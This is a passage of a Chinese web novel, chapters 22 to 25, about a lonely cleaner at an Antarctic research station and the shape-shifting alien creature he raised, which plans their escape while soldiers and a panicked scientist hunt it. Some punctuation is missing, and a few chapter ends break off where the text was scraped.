时夜生露出波浪形的笑容,神态犹如一只摇尾乞怜的,温顺又讨喜的小狗,它说:“我可以进化,可以学习,我会变得越来越强。” 望着它的脸,还有熟悉的表情,原本在徐久胸口提起来的气,又悄无声息地松懈下去了。 ……可能我只是太紧张了吧。 “真好,”他夸赞它,“我就知道你是最聪明的。” 他们靠在一起,相互依偎了一阵,徐久心头的怪异感逐渐散去,他又能将心里话拿出来对六号说了。 他慢慢地道:“其实有件事,我想了很久。” “是什么?” “这些天发生的意外实在太多了,感觉比我过去二十年经历的还要曲折。”说到这,徐久稍稍走了下神,“很久以前,我在书上看到有人形容这种情况是‘坐过山车’。我对这个说法很感兴趣,因为我从来没有见过过山车嘛,连学校的大门都很少出,就去找了过山车的图片来看。好高好大的铁脊梁,像架在高空的列车,好多人在上面来回穿梭……” 他低下头,沉默了片刻,又打起精神,没头没脑地说:“我想去坐过山车。” 时夜生没有犹豫立刻点头:“好。” “不是!”徐久着急起来他扭头看着六号“你没有明白我的意思这儿是南极是莫比乌斯的研究站怎么可能有过山车?我是想走我想出去想离开……我再也待不下去了。在研究站我没有名字没有身份连命都不是自己的!我……” 他说得激动一时语塞时夜生看着他重复道:“好。” 它接着说:“我明白你的意思你想要自由。” 现在就走固然是件十分可惜的事 然而伴侣的意志就是无上的旨意。一切俱为转瞬即逝的脆弱之物只有眼前的徐久才能与它厮守终生相伴到世界的尽头。 徐久愣了下:“所以你会跟我一起走吗?” 这话一出口他便局促地红了脸急忙补充:“不准确来说应该是你带我走才对。因为眼下研究站已经彻底封锁只能进不能出我……我没能力一个人跑出去必须依靠你的帮助……” 他的语气里含着那么多的不安和忐忑听得时夜生的心都发颤了。 在这之前时夜生筹划了六号的许多种结局。那个碎块在伴侣心中的份量如此之重就算自己要把它完全吞噬再彻底取代它的地位也是理所应当的事。 可是听见徐久的心愿之后时夜生的计划全落空了。 内斗意味着力量的无端消耗在人类的研究站里不知道潜伏着多少蠢蠢欲动觊觎伴侣的同构体难道它还要给那些碎块提供可乘之机吗? 时夜生因而举棋不定最后它还是选择放过了六号的性命。紧要关头它不能离开徐久。 “好。”它第三次给出肯定的回应“我答应你你说什么我都答应你。” 徐久笑逐颜开心里充满喜悦:“真的吗?!” “真的”时夜生对他承诺“等我做好准备你也要准备好我们一起制定离开的计划。” 徐久用力点头:“嗯我知道!” · 是夜十几束强光手电筒的光柱扫过黑水横流的地面十几名高大的生化人身着全套防护服手拎喷火器行走在阴暗潮湿的下水管道里。 当时建造极地站点的时候排水系统就是重中之重。建筑师在数百米深的地下围拢出错综复杂的迷宫混凝土和钢铁合金修建的拱顶仿佛恢宏的宫室颇 具艺术性地呈现出流畅的弧线型,导致人在其中开口说话的效果,比歌剧院的混响声效还好。 【长官,看这里!】队员的手电筒上扫,在铅灰色的墙面上照出一道细如蛛丝的曲折裂纹,缝隙中溢出些许透明的粘稠流体,仿佛在粘合时挤了太多的胶水。 他一开口,十几道光柱一齐扫射过来,将这片区域闪得亮如白昼。光线越往上走,照见的开裂和胶状物质就越多,他们一路顺藤摸瓜,最后,将手电筒对准正前方的头顶。 只见天顶上豁然开着一个大洞,直径约七米,边缘凹凸不平,一看就知道是被腐蚀成这样的。洞口淤积着大量厚重的粘膜,其上长满毛细血管般的纹路,沁出醒目的深蓝与艳青。被强光瞄准的时候,那些肉膜还起伏着脉动了两下,跟活物没什么两样。 【操……】贝塔小队的队长低声骂了一句,脸色难看至极,【真是活见鬼,它们已经长这么大了?!该死的畜生,简直比钻地蠕虫还恶心!】 旁边的队员上前一步,就要拉动喷火器。 【别轻举妄动!】队长当即呵斥,【好不容易才找到这里,不要打草惊蛇,让它们起了疑心。这帮畜生,现在进化得可比人类更聪明。】 队员不甘心地收起武器,一行人顺着粘液的痕迹,谨慎地往前走。越是深入下水管道,他们心中不妙的预感就越是强烈。 渐渐的,他们已经不像是走在人类的建筑物里了,而是行走在已经异化成生物的躯壳内部。下水道两侧的墙壁越发光滑、稠厚,散发出奇异而浓郁的腥气。他们每走一步,鞋底都跟地面扯起千丝万缕的粘连,地板同样坑坑洼洼,像是快要凝固的油脂,稍有不慎,脚下就会重重打滑,擦出一个下陷的坑来。 【必须尽快找到目标,】队长凝重地强调,【然后全力实施抓捕行动,这次务必要处置得不留漏洞,不能再给它们翻身的机会!】 就在半个月前,他还对尤恩博士的畏惧与恐慌嗤之以鼻。自打知道阿克尔项目的实验体并未彻底死透,反而有相当一部分从焚化炉中逃脱开始,那个老人就终日惶惶,寝食难安。他不仅第一时间封锁了极地站,还把自己关在高度机密的站点中心,他不再信任任何人,连日常三餐都要阿尔法小队亲自护送进去。博士一天比一天消瘦,一天比一天颓丧,直至到了神经质的地步。 “我们不该这么做!这些天来,贝塔小队只听到他不断重复着一句话,“我早就告诉过时夜生了,我们不该这么做! 队长曾经以为,这不过是老年人的通病,无 论年轻时多么意气风发、天赋纵横,临到老时,都免不了要被衰弱的身躯带垮精神,变得畏手畏脚起来。 但现在他懂了……尤恩博士不是出于胆小,身为阿克尔项目的首要负责人,除了已故的时夜生,就属他对这个异种的了解最深。他惧怕它,惧怕到了噩梦缠身的程度,因为在这个世界上,只剩他一个人知晓,极地站里究竟流窜着什么样的可怖之物。 【到时候,我们准备怎么处置它?】队员问道。 队长果决地回答:【我们将上报总部,准备一颗永不归航的卫星,然后把它们发射进外太空。那才是这些畜生的最佳归宿。】 说完这句话,他便大步流星地迈开步子,以远超常人的速度,冲向道路尽头的目的地。 等他们终于临近目的地,打开一块早已被腐化得脆弱不堪的墙板时,面对眼前着这个几乎可以被称为“巢穴”的巨大空间,所有人都惊呆了。 “天啊……” 看着眼前的景象,有的队员甚至放弃了早已纯熟的密语,转而使用母语,面无血色地喃喃。 怪物。 这真是怪物 第 23 章 愚人一无所有(二十三) 《我是人啊,你不是?》全本免费阅读 六号的眼神中闪动一丝茫然。 “我不知道你在说什么。”它说,“母体,就是母体。” 它接着阴冷地补充:“你也没有资格称呼他为自己的。” “有没有资格,你说了不算。”时夜生漠然道,“枉费他如此偏爱你,你真是愚蠢。你在他手上做了什么标记?你先是将他标记为母体,接着又克制不住地被他吸引,将他标记为伴侣……用人类的话说,你有认知障碍吗?” ——伴侣! 这个陌生又熟悉的概念,就像刺破夜空的闪电,在六号的脑海中照亮了恍然大悟的明光。 这个定位就合理了……如果是伴侣,那就能完美地解释自己行为中的反常之处了! 六号还在震撼中呆滞,时夜生才不管它,更不会在乎它的心理是否健康,继续说:“我们要离开这里。” “……离开这里,”六号说,“理由。” “这是他的意志,”时夜生转过头,注视熟睡中的徐久,“他不愿继续留在这里,我也不愿看他继续在这里忍饥挨饿,被其余的人类无视践踏。” “有些事,不能就这么过去。”六号冷冷地低语,“从前他们是如何对待他的,我看见了,也记住了。” 时夜生接着转头,与六号对视。 “走的时候,随便怎么吃。现在,我需要你的力量。” 空气凝固良久,时夜生说:“我提议融合。” “理由。”六号的目光不带一丝温度,它打量着面前的同构体,是的,时夜生确实在完整程度上强于自己,可这一次,它未必会再输,“我为什么要和你融合?天性如此,我们之间只有一种关系,就是主导者与从属者的关系。” 时夜生冷笑道:“天性?我们吞噬,进化,不是为了服从天性的约束。我以为你已经同化了更复杂的人类大脑,不再拘泥于野兽的本能呢。” 对于它的讥讽,六号一动不动地站着,充沛的能量使它可以更流畅地使用发声器官,但它仍然没有达到时夜生的水准,能熟练运用难度更高的反讽和修辞。 “徐久违背了他的天性抚养你,”时夜生神色阴鸷,盯着六号,“现在他需要离开,需要你的力量,我才会对你提议融合!你以为其他碎块会明白他的价值吗?那些被本能支配,一心只想着边杀边吃的蠢货,难道会承认他的身份吗?” 六号的目光落在徐久脸上,黑夜里,他闭着眼睛,苍白而静谧的面庞,无端令它想起“一小片月光”这个词。 “你骗了他。”六号没 有移开眼睛,“母体不能理解我们之间的联系,他也不能明白什么是同构体的概念,他只会把你视作另一个独立的个体。所以,你假借我的名字欺骗他,与他共处。 时夜生遽然变色,它浑身的口腕猛然张开,爆发出剧毒的丛生尖刺。 声响刺耳,令徐久在梦中皱起眉毛,轻轻地“嗯了一下。两只同构体顿时浑身僵硬,一动不动,小心地觑着徐久的反应,直到他的眉心舒展,再度沉沉睡去,它们才放下心来,继续对话。 “或许人类的大脑,还有他们的思维方式,可以赋予我们独立于彼此的个性。六号低声说,“但我们就是我们,一些根深蒂固的东西,是没办法改变的。 一时间,时夜生竟哑口无言。 它盯着六号,六号同样盯着它。两张一模一样的脸,闪动着一模一样的贪婪、饥渴、冷血、狡诈、凶残……这些情绪杂糅在一起,最终形成的是一模一样的,欲念深重的恶鬼之相。 六号挥出一枚口腕,化作锋利无匹的巨镰状。 “你提议合作,可以尝试。它说,“但是主导者与从属者的关系不会改变,人类讲求‘先来后到’,我也是一样。或者,你可以现在叫醒母体,让他来评判这件事的对错。 “伴侣的意志至高无上,我会服从他的一切判决,你也是一样。 时夜生的面容扭曲了,它的口腕同时扭曲抽搐,毒刺与触须咬牙切齿地挫动,不住发出淋漓的水声。 它无法反驳对方的言论……因为人类的思维认知与同构体有着泾渭分明的区别,他们不能理解异种之间互相残杀,却又同位一体的关联。在心里,徐久必定认为它们是独立的个体,六号是六号,时夜生是时夜生。 曾经的时夜生确实利用了这点差异性,它模仿六号的外形与说话方式接近徐久,是为了把他无知无觉地骗进自己在地下的临时巢穴,再以此击垮六号的心智。 只可惜,人类有句谚语,叫“人算不如天算。 时夜生总算领会了这句话的威力,它先是稀里糊涂地被徐久俘获回去,又在日夜不离的相处中,神魂颠倒地承认了徐久的伴侣地位。 时夜生从没做过这样的蠢事——它自己挖坑,接着又自己跳了下去,而且跳得是兴高采烈,喜不自胜。 是以此刻它根本辩解不了什么,罕见地陷入了无言以对的状态。 “先来后到。六号凝视徐久的面庞,低声说,“融合的进程中,必须由我来担当主导者。 顾名思义,主导者将 决定融合后的意志与目标。时夜生心有不甘它纵然可以跟六号再鱼死网破地厮杀一场但一来消耗太大容易引发其他同构体和人类两方的干扰与关注以致连累徐久;二来它也不想看到徐久再藏到被子里偷偷哭泣他在这里孤立无援时夜生不能离开伴侣一定要每时每刻地贴身跟随才能安心。 它死死地盯住面前的同构体这一刻大脑中转过多少左支右绌的想法激烈的策划与计谋最终都归于寂静。 不知过去多久时夜生终于开口。 “……很好。” 它缓缓伸出一根口腕无言地示意六号。 再没有一句多余的话 相较于同构体之间的残酷杀戮血腥吞噬融合的过程就要安静、快速得多。如同柔软的流沙两名强大的同构体毫无隔阂地交汇在一起在狭小的室内盘绕出蓝与紫的漩涡。 细胞与细胞重组血液互渗表皮溶解……它们是无形无相的一股整体在自然的羊水中孕育通由基因的熔炉降生出畸变的进化主宰。 清晨徐久睡得昏昏沉沉闹钟没有响他的生物钟已经催促他半梦半醒地睁开眼睛并察觉到床边有个高得吓人的影子正极具压迫感地笼罩着自己。 “……六号?”他呓语道。 对方没有回答。 他胡乱探手一摸也没有在床上摸到水母那无处不在的触角心里当即一惊顾不得什么危险连滚带爬地翻身起来惊慌地对着来者。 “你是谁?!” 床头就是灯的开关早上六点统一供电他急忙摸索到那里仓促开灯。 徐久的眼睛瞪圆了。 ——一个诡异的男人正伏在床边眨也不眨地盯着徐久。如果这人完全站直宿舍的高度一定容不下他因此他只是佝偻着身体默默地蹲着。 徐久一口气没上来差点厥过去。 他绝对不是人。 对方固然有着赏心悦目的容貌但骨骼全呈现出异样纤细的扭曲之态双腿和手臂长得简直像四条绞索要是伸长了看铁定超过三米这哪里是正常人能有的身高和体型? 除此之外他的肌肤也是诡异的半透明色皮层下甚至隐约可见深蓝色的血管水银幻色的长发也一股股地纠缠在一起。男人定定地凝视徐久他的鼻梁倒是高挺浅色的睫毛密密匝匝将眼神缀得专注炽热几乎看得人要烧起来。 最初的惊吓过后。徐久慢慢清醒记忆也逐 渐明晰。 他想起来了,自己曾经是见过这副形态的。在那个自称是“时夜生的异种前来追杀他的时候,他就瞥见过一次对方的全貌,只是当时离得太远,光线又太暗,尚且不能看得十分仔细。 “六号……? 徐久试探地叫了一声。 他直觉这是六号。不知道为什么,这些天来六号总给他一种奇怪的陌生感,但此刻再看,出现在他眼前的,好像又是那个小野兽一样的六号了。 六号失神地注视他,目光崇敬,深情而入迷,同时又含着那么多贪婪的饥饿。 他的眼球迟滞地转动,终于从徐久身上挪开,与人类目光交接。 “是。六号说,露出熟悉的,波浪形的笑容。 “我是六号,你的六号。 · “身份已确认:贝塔小队,编号B09437,允许通过。 “您已进入中枢站点,请注意:中枢内部不允许携带武器,刀具,杀伤性溶剂,以及其他具有威胁性的物品。请将上述用具统一存放至入口处,感谢您的配合。 柔和的电子女声回荡在耳边,贝塔小队通过数十道消毒净化的繁琐程序,此刻一言不发,将随身携带的武器投入存放点,只带着一只小小的手提箱,走进戒备森严的极地站中枢。 中枢是全站防守最为严密的地方,能源充足,设备齐全,拥有全长两公里,厚度长达十米的保温防辐射层,内置的种植区、淡水区和发电区,使这里完全可以实现自给自足的内循环模式。无论天灾还是人祸,只要进入中枢,再实行封闭式管理,它可以供上百人在里面生活十年之久。 现在,这里早就成了尤恩博士的避难所。 中枢的建材十分神秘,莫比乌斯一直不曾公布它的材料配方,只知道是某种奇异的人造铝合金,入眼皆是一片绚烂的洁白,犹如行走云端,又像走在纯净无瑕的蛋壳内部。贝塔小队的队长走近最中间的巨大纯白圆柱,与阿尔法小队的队长短暂碰面。 经过改造,生化人的感情早已十分淡薄,阿尔法的级别又高于贝塔,两人也没什么好说的,只是在进去的时候,阿尔法的队长将他一拦,沉声提醒:【注意言辞,博士的精神已经不太正常了。】 贝塔小队听过这话,只是一言不发地打开身份验证,进入中枢的中心区域,与尤恩博士会面。 等到今天,他们才终于见到这个数月来都不曾出现在外人面前的最高领导。尤恩·韦伯原本是个看起来心宽体胖的学者,常年养尊处优的生 活,令他总有种气定神闲的宽裕感。但此时此刻,生化人见到的只是一个形容枯槁,脱水般消瘦的老人。 他就像一只惊弓之鸟,一个明知死期将至,却不知会以何种死法凄惨离世的可怜虫,吓破了胆,惊掉了魂,只敢让自己龟缩在全世界最安全的堡垒里,任由噩梦夜夜造访,将他惶恐地折磨。 “……博士, 尤恩博士没有说话。 片刻后,队长催促道:“博士? 博士仍然没有说话。 寂静中,只有老人哆哆嗦嗦的颤音,回荡在凌乱的实验室内部。良久,尤恩·韦伯才压低声音,神经质地开口:“你们……你们都看见了,是不是? 队长犹豫一下,点头:“是的,我们看到了那个畜生的巢。 “‘那个’?博士嘶哑地笑了一声,“只有‘那个’吗? 队长说:“您的意思是,它们数量众多…… “多?!尤恩蓦然大喊,他狠命抓着自己乱糟糟的稀疏白发,“多?!它们不是‘多’,它们是无孔不入,它们是无处不在! 他冲向自己乱七八糟的桌子,抓起上面破破烂烂的研究笔记,冲向贝塔小队。生化人并不怕眼前这个憔悴的老人——可能他现在连一只蟑螂都踩不死,然而他目眦欲裂的神态,那种疯癫的精神状态,却令他们齐齐地退避了。 “看,看!看看我们的成果!博士把那些纸塞到队长脸上,“阿克尔,嗯?我们用阿克尔扁虫的名字命名了这个计划,因为我们的实验体拥有和阿克尔扁虫一样的特性,从它身上切除的任何部分,我说,任何部分,都能重新生长,再次繁殖,并且拥有相同凶残的天性,一样狡猾的智力……它必定不是地球的造物,这颗星球不会孕育如此疯狂,如此畸形的物种! 队长警惕地盯着老人,他的癫狂令人担忧,但他的话语,又不可避免地吸引着想要了解秘密的人。 “……它们几乎是无穷无尽的军团,尤恩·韦伯的力气耗尽了,他大口喘息,布满红血丝的双眼,盯着那些字迹潦草的笔记,“而且拥有完美的拟态能力。它们是魔鬼,是进化的究极答案,它们想变成人,就可以模仿出人类的细胞,如果世上真的有神,那它们也可以模仿神的细胞——又或者说,它们就是神降临在人间的样子。 “不过恶魔,神明,又有什么区别呢?我们完了!我们完了!我们打开了魔盒,让它从冰川里脱困,索多玛与蛾摩拉的天火 已经降下,我们都会化为盐柱,一直在罪孽里伫立到永恒啊! 老人疯疯癫癫,大哭大笑,一名队员忍不住低声嘀咕:“我们还是可以消灭它,它也不是无敌的…… 尤恩博士一下止住哭泣,恶狠狠地瞪着他。 “你听不懂人话吗!他暴躁地咆哮起来,“你难道不明白我封锁极地站的用意吗?!已知的任何仪器都无法鉴别出它的真伪,只要跑出去一只,一只!它就会在这颗星球上繁衍生息,它会汲取人类的记忆,完美取代普通人的生活,家庭,一切关系!到那个时候,这些异种将以指数级的速度占据人类社会!你知不知道这意味着什么?! 队长赶紧上前一步,制止了博士继续发表的长篇大论。 是的,或许他已经疯了,但他仍然是极地站的博士,在时夜生死后,唯有他拥有最终的决策权。队长抓住机会,打开手提箱:“博士,时间紧急,请看我们的取样结果。 尤恩博士的注意力被转移了,他闭上嘴,恹恹地盯着箱子里的生物质。 “既然你们还能活着回来,他说,“那就说明没有遇到本体,是不是? 如此涨他人士气,灭自己威风的话,队长也只得承认:“……是的。 尤恩冷笑一声:“汇报你们遇到的情况。 博士的状态时好时坏,队长不敢耽搁,立刻说:“我们沿着下水管道,一路追踪到废料处理区,那里已经被改造成了实验体的巢,但似乎有什么东西破开金属舱室,逃了出去。地上的血样还很新鲜,只是空气中有很浓的腥气…… “很浓的腥气?尤恩思索了一下,“你们运气很好,没和它撞上,它离开没多久。 “是吗,队长皱眉,“但那很像腐烂的味道,我还以为…… “只有在进食,或者营造安全的巢穴环境的时候,它们才会分泌出带有芳香气味的油脂,尤恩不耐烦地解释,“腥气很浓,正说明它们刚离开不久。 队长正要继续汇报,他的记忆深处,却忽然不安分地波动了一下。 经过改造,生化人的大脑能够毫不费力地回忆起十年前的细微往事,此刻,有关于异种气味的奥秘,令他瞬间想到了什么,脸色不由骤变。 ——“就像有人在我的头顶挥舞几百把刀子……我被吓到了,而且周围太黑,我也不知道发生了什么事,只是觉得很危险…… 他撒谎。 ——“我还闻到了香气,可不像是化妆品的香…… 昔日那个小清 洁工,他撒了谎! 作者有话 第 24 章 愚人一无所有(二十四) 《我是人啊,你不是?》全本免费阅读 “这是研究站的建筑图纸。”六号说,“你看。” 他抬起手,十指化作纤长的触须,在半空中缓缓地起伏。 细如飘絮的透明丝液从尖端分泌出来,迅速且精确地搭建出一幅精巧的立体地图。根据建筑师的记忆,六号在上面标注出他们当前所在的位置。 徐久被迫坐在他身上,不自在地扭了扭。 虽然以前六号也时常抱着自己,用口腕紧紧地缠住他,但那都建立在他还没有人形的情况下。现在,六号既然已经“进化得更加完善”,拥有了人的外貌,长出了人类的四肢——那固然是十分畸形的四肢——徐久也不太好意思继续坐在他腿上了。 徐久很瘦,但好歹还有个青年人的正常身高,可他被成了人形的六号强行抱在怀里,简直就像玩具一样小巧,仿佛可以被他随心所欲地摆布出任何形状。 “怎么了?”察觉到他的别扭,六号低下头,颈子犹如灵活伸缩的长蛇,他的面庞柔软地蜿蜒至徐久的侧脸,仔细分析他的表情,“有哪里不舒服吗?” 徐久:“……” 徐久本来想说“你这样就已经让我很不舒服了”,但看着六号纯然天真的眼神,还有他暗含期盼的神色,这话怎么好说得出口? “没……我是说,”他斟酌措辞,“我的意思是,咱们能不能换个姿势,不要这么坐着?” 六号的眉毛惊慌地抬高了,显示出惶恐不安的模样。 “为什么呢?”他急忙问,同时将徐久缠得更紧,“我们以前不都是这样的吗?你要离开我吗?你不和我好了吗?我做错了什么吗?” 徐久张了张嘴,更不知道要说什么了。 在这之前,他从未和哪个人,哪个生物如此亲密地接触过,尽管他在心里把六号当成共犯和密友,可是,朋友到底该用什么样的方式相处?徐久不知道,这是书本上学不来的知识,他也只能试探着前行,摸索着适应。 但看到六号的样子,看到他尽心维护他们的关系,为了自己的一言一行就这么紧张,徐久心里也觉得不忍,他不该让六号焦急成这样。 “我不是那个意思,”他叹了口气,还是选择忽视这个问题,转去关注更重要的事,“这个地图是从哪儿得来的?好详细啊。” 六号顿了顿,他不会对母体撒谎,只是在融合了时夜生之后,他学会了委婉地使用言辞。 “从人类的建筑师那里得到的,”我吃了他们,对比几个人的记忆,确保这份地图万无一失,“他们把图纸看得很紧,还是被我拿 到了。” 徐久不疑有他惊讶道:“真厉害!” 六号喜滋滋的他牢牢抱住徐久接着指出一条路流利地说:“现在人类把这里封死了根据他们的说法研究站确实只能进不能出可是从外界运送来的物资一直没有断。看在这儿冻原下方就是莫比乌斯开辟出的运输隧道我们完全可以从隧道离开。” 徐久听得叹为观止他喃喃道:“你现在真的很……很……” 他有点词穷因为六号说话的时候已经不像以前那样一个词一个词地往外蹦反而言语流畅逻辑通顺真要比大部分人类都强得多。 六号学着人类的样子微笑他亲亲徐久的发顶接着标出位置:“按照这个方向走我们起码会在这些地方遇到警卫运气好我就把他们都解决掉运气不好可能引来生化人部队处理起来更麻烦一些。” “有多麻烦?”徐久迟疑地问。 “会耽搁很长时间”六号说“而且生化人的味道发苦不算很好吃。” 他开了个十分真实的玩笑又赶忙窥探起徐久的脸色。 六号已经知道人类是一种共情能力非常强的生物他们创造出诸如“兔死狐悲”“物伤其类”的成语用来比喻同类死去时自己也会感到悲伤与恐惧的心情。假如母体在这时表现出不适的负面情绪那么他会立刻道歉并且解释说自己用词不当。 但徐久没有吭声他只是皱着眉头问:“嗯……还有别的麻烦吗?” 母体对我真好! 六号顿时感到被宽待的偏爱于是立刻快乐地说下去:“在隧道口我们要遇见三道关卡 “但我不会让你受伤”六号认真地补充“所以我会提前抓住一只在那里巡逻的人类取下他的脸皮吸收他的血液用来给你做伪装。” 徐久没法想象这些步骤他愣愣地问:“这要怎么做?” 六号抬起手掌他拟态的骨骼迅速溶化表皮蔓延拉伸融合成一整张类人的光滑皮肤。 紧接着皮肤上奇异地现出凹陷与凸起的波纹再张开空洞的眼窝塑造挺起的鼻梁捏成饱满的嘴唇……在他的手腕上方已然长出一张栩栩如生的人面。 “就是这样”六号殷切地说“我会把它覆盖在你头上人类不会发现你。你走岗哨我再去 拿到通行证,只要刷开隧道的大门,我们就自由了,人类不能追上我的速度。” 徐久的心脏砰砰直跳,他分不清那是看到自由在望的激动,还是面对六号展示出的诡谲能力时的惊悸。 “除了这些,我们还需要一些准备。”六号收回了手,“我需要进食更多,因为外界的气温在零下四十度左右,我需要长得更大,才能在体内为你塑造一个恒温的环境……” 他的声音渐渐低微,垂下眼睛,显示出羞愧的样子。 即便是两个强大同构体的融合成果,他也无法确保母体-伴侣在自然环境下的安危,这令六号难以遏制地感到耻辱,因为他居然不能为徐久的一切心愿铺平道路。 六号只希望母体不要难过,不要对自己失望。 感觉到六号的情绪有异,徐久回过头,看到他内疚的神情。 “怎么了?”他急忙捧住六号的脸庞,手指拂过他凉滑的鬓发,“怎么突然不高兴了?” 六号嘴唇微动,眼睫不住发颤,嗫嚅道:“我还不够完美……” 徐久愣住了,反应过来之后,他真不知道说什么才好。 “这叫什么事儿啊!”他哭笑不得,为了安抚六号,他赶紧直起身体,“慢慢来,我知道这件事很难办成,咱们都别急,稳妥一点,不是很好吗?我怎么会怪你呢?” 见他耷拉着眉毛,仍旧怏怏不乐,徐久没办法了,只好学着他的样子,在六号同样冰凉的前额上亲了亲。 六号立即抬起眼睛,透过浓密的睫毛,怯怯地凝视徐久。 青年的嘴唇温暖而柔软,在他的表皮上印了两下,那里就像是要烧起来了…… 六号继续哼哼唧唧,可怜地问:“真的吗?” 看到他这副样子,徐久十分怜惜,他知道,六号和他一样,也是不知道该怎么和朋友相处的小……好吧,大水母。 于是,他再多亲了两下,笃定地说:“当然啦,我永远不会怪你的。” 六号不动声色,缓缓地咬紧、咬死了位于食道后方的嗉囊。 饥渴犹如沸水,煎熬着他的身躯和心灵,六号着魔地盯着人类的嘴唇,每一寸皮肉都嗡嗡颤动,鼓胀得快要开裂。灼烧感像野火一样迅速蔓延到全身,将他淹没在无尽的情欲之海中。 伴侣的魔力,岂是他能够抵挡的? 尽管徐久觉得六号的眼神十分怪异,看得人心里毛毛的,但想了下,六号又怎么会伤害他呢?因此只当作自己多心了。 “下午换班的时间快到了,我去 上班,你要去找吃的吗?徐久问。 “不,六号说,“我跟着你。 六号顶着时夜生的脸,继续变得透明无色,跟随在徐久身后,帮助他打扫场地,搬运重物。这两日的工作虽然繁重,但没有之前那般琐碎,还算是好应付的差事。 如此平安无事地过了四日,第五日的上午,徐久难得被分配到办公区域,正悠哉悠哉地分拣废弃文件,把它们塞进碎纸机里,忽然听见走廊里传出一阵说话声。 “……是、是,您说的是,我一会儿就办……诶!好,我记住了。 语气是低级员工惯常拥有的谄媚,谈论内容也听不出什么,只是那个声音,令徐久没来由地皱了下眉。 好耳熟,好像在哪儿听过? 声音的主人结束对话,朝他所在的房间走来,徐久本来没打算怎么着的,对方在房间里翻找了一阵,抱着一堆文件转过身,忽然惊道:“小徐!哎这不是小徐……6号吗? 徐久猛地抬起头。 “伍志强? 熟悉又陌生的故人乍然出现,昔日的10号,唯一在极地站里称得上和徐久有来往的清洁工,此刻穿着研究员助理的制服,就光鲜亮丽地站在徐久面前。 徐久张大嘴巴,顿时觉得一阵恍惚。 和伍志强谈话的那个清晨,以及用水果干换取清洗油桶的交易过程,明明只过去了数月,现在想来却像上辈子一样遥远了。伍志强小小地摆了他一道,让他被胖主管踹了一脚;他则取代伍志强的命运,替对方来到地下实验场,不仅差点死在这里,也遇到了改变他一生命运的六号。 “你……你怎么在这里?他讷讷地问。 伍志强哈哈大笑,过来就要拍他的肩膀,徐久急忙捏住六号的一根触角,不叫他轻举妄动。 六号在彻底拥有人形之后,就对自己抱着极其强烈的占有欲。这几天来,徐久看得分明,六号是不允许任何人触碰自己的,连与自己稍稍接触过的清洁工,他都表现出毫不掩饰的敌意,只想将其杀之而后快。 “来来来,这边说话,小徐啊!伍志强此刻春风得意,揽着他的肩膀,就将徐久往角落里带。 六号锁住横流的毒液,尽管他的神色已然狰狞得令人胆寒,但既然母体下达了指令,他只好暂且忍耐,阴森森地盯着眼前的人类,看对方无所顾忌地触碰他的伴侣。 “说实话,我呢,那时候也有点对不住你,哈哈……哎,我们不提过去不愉快的事了,好吧!伍志强骄矜地微笑着,“你看, 我现在也算是……嗯?” 他一边仰头 徐久觉得这人蛮好笑的不过他没有表现在脸上只是问:“伍哥你怎么也 第 25 章 愚人一无所有(二十五) 《我是人啊,你不是?》全本免费阅读 徐久眼冒金星,仓促下坠的惯性,怼得他脑瓜子嗡嗡的。他像是落到了一个超大功率的卷筒洗衣机里,被一股脑地旋下去,连六号的口腕都没来得及抓住一根。 一只巨如熊掌的手死死捂住他的口鼻,使他不能发出一丁点儿声音。黑暗里,几双手一齐抓过来,钳住他的四肢,没有一丝延迟,挟着他疾速狂奔,冲向地道更深处。 头顶传来轰然贯穿的巨响!仿佛无数根锋利长矛从天而降,钢筋混凝土的地面被接连穿刺、掀翻,异种咆哮嘶吼的声音震耳欲聋,雷霆一样传彻地底通道。 【它来了!】混乱中,徐久听见有人大吼道,【快走,抓他走!】 这些人说的全是密语,他一下反应过来,抓住自己的,正是研究所的重装部队。 但知道这个事实也没什么用,以普通人的体能,根本无法抗衡改造过后的生化人。他们擒着徐久,就像捏着一只脆弱的猫崽子,只用单手的力气,就能将他整个提起来。 徐久耳边尽是尖啸的风声,生化人一旦开始高速移动,他连眼皮都被吹得睁不开。就在此时,身后一发爆鸣,热浪瞬时滚滚——为了阻拦六号的追击,他们毫不犹豫地摧毁了一截地道,用于断后。 徐久快吐了,纵使他竭力挣扎,也只是让自己的晕眩感更重。那些人全然不顾他的反抗,冲出地道之后,直接将他绑到一台升降电梯上。 【你走!】一名生化人回过头,【我和他留下拦住那个畜生!】 为了抓捕徐久,狭小的地道里埋伏了三名生化人,此刻,唯一剩下的那个不言不语,仅是点了点头。其余两人立刻拉断升降电梯的电力供应,让它成为了一列有去无回的单向车厢。 六号的声音离徐久越来越远了,电梯疾速坠地,缆线发出刺耳的摩擦声,剧烈颠簸中,生化人在他的后背重重一垫,避免他被反冲的力道撞到电梯顶,也避免了他被撞断脊椎,撞碎后脑。 徐久的意识昏昏沉沉,事态的发展就像脱轨的高铁,短短几个呼吸的功夫,就远超出他最大胆、最疯狂的设想。 他不知道自己是什么时候暴露的,更不知道研究站花了多长时间策划这一切,但扪心自问,他难道真的没有在脑海中预演过事态败露的那一天吗? 早在捡到六号,决心要把它养大,与它相依为命开始,徐久就坦然接受了这支悬在头顶的达摩克利斯之剑。命运如何安排,他都一概不理,断头台的绳索何时才被割断,更不是他能决定的。 因此,他现在居然没有什么慌乱恐惧的情 绪,只有一种超脱外物的坦然,静静笼罩在他的心头。 生化人押着他一路狂奔,身后大门一层接着一层,一重叠着一重,关闭的声响无比沉闷,徐久在头痛欲裂,几欲呕吐的间隙,瞥见两侧固若金汤的武器阵列,即便用于抵御一个军团的进攻,也是绰绰有余。 六号,他模糊地想,你千万不要出事啊。 他终于被带到此行的目的地。 生化人将他扔到地上,语气沉肃地汇报:“博士,目标已完成抓捕。” 徐久咬紧牙关,努力抑制住呕吐的冲动,伏在地面大口喘气,不知过了多久,他听见前方传来一个苍老的声音:“让他清醒一点,我要他流畅无误地回答我的问题。” 话音刚落,一桶冰水当头泼下,浇得徐久如被针刺,止不住地哆嗦起来。 他费力地抬起头,眯起眼睛,适应了好一会儿,才勉强看清眼前的景象。 地板、墙壁和头顶全是白的,在他身边,围着一圈全副武装的生化人,更远处,是一群被防护服包裹得严严实实的高阶研究员,他们众星捧月地围着一个人,正交头接耳,迫切地相互讨论。 “博士问你什么,你就答什么!”一名研究员低头瞪他,嫌恶地呵斥,“否则,你很快就会见识到莫比乌斯招待叛徒的手段了!” 博士……? 徐久的瞳孔还在适应强光,他艰难地打量着最中间那个消瘦,佝偻的身影。他依稀记得,自己曾经见过的尤恩博士,是个胖胖的白人老头,脸上挂着无害的笑容,看起来十分和气,如今怎么成了这个样子? “你是什么时候,跟它们扯上关系的?”尤恩·韦伯步步逼近,居高临下地盯着地上的徐久。 